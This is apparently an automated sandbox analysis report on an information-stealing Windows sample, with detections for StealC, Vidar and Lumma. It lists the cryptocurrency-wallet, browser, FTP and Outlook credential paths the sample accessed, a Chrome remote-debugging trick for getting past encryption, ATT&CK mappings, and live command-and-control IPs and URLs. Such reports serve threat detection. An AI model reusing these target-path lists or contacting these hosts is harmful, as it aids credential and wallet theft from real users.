Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: baacd96df2.exe PID: 7936, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match	File source: Process Memory Space: 9225ca0b64.exe PID: 2124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9225ca0b64.exe PID: 7120, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000001D.00000003.2700841413.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2949273914.00000000008F1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2533169769.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2948340376.00000000008F1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2958384955.000000000144E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: baacd96df2.exe PID: 7936, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: baacd96df2.exe PID: 2288, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: baacd96df2.exe PID: 7936, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	511 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	4 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	12 Process Injection	12 Software Packing	NTDS	238 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	751 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	261 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	261 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	50%	ReversingLabs	Win32.Packed.Themida
file.exe	43%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	47%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	29%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	47%	ReversingLabs	Win32.Trojan.StealC
C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	47%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	47%	ReversingLabs	Win32.Trojan.StealC
C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	29%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	50%	ReversingLabs	Win32.Packed.Themida

Source	Detection	Scanner	Label	Link
https://html.spec.whatwg.org/#the-hr-element-2	0%	Avira URL Cloud	safe
http://185.215.113.206o	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php_	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dllll	100%	Avira URL Cloud	malware
https://befall-sm0ker.sbs/apia;w	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeR	100%	Avira URL Cloud	phishing
https://librari-night.sbs/S	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeH	100%	Avira URL Cloud	phishing
https://html.spec.whatwg.org/#bidi-rendering	0%	Avira URL Cloud	safe
https://html.spec.whatwg.org/#the-hr-element-2	0%	Virustotal		Browse
https://html.spec.whatwg.org/#flow-content-3	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php7864001	100%	Avira URL Cloud	malware
https://w3c.github.io/mathml-core/#dfn-maction	0%	Avira URL Cloud	safe
http://dev.w3.org/html5/spec/rendering.html#rendering	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpcal	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dllll	19%	Virustotal		Browse
http://185.215.113.16/steam/random.exeR	18%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
librari-night.sbs	172.67.206.172	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
home.fvtekk5pn.top	34.116.198.130	true	false	high
plus.l.google.com	142.250.185.206	true	false	high
cook-rain.sbs	188.114.97.3	true	false	high
befall-sm0ker.sbs	188.114.97.3	true	false	high
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
fvtekk5pn.top	34.116.198.130	true	false	high
youtube.com	142.250.186.142	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
play.google.com	142.250.186.78	true	false	high
ipv4only.arpa	192.0.0.171	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
push.services.mozilla.com	34.107.243.93	true	false	high
www.google.com	142.250.184.228	true	false	high
spocs.getpocket.com	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
firefox.settings.services.mozilla.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
processhol.sbs	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	false	high
p10tgrace.sbs	false	high
p3ar11fter.sbs	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://mozilla.org/#/properties/forceWaitHttpsRRhttp://mozilla.org/#/properties/insecureFallbackPref	firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1678942	firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://detectportal.firefox.com/	firefox.exe, 0000002C.00000002.3294994349.000001C4CE44B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3347801761.000001C4D2F0F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/disableGreaseOnFallback	firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/originsDaysCutOff	firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	false		high
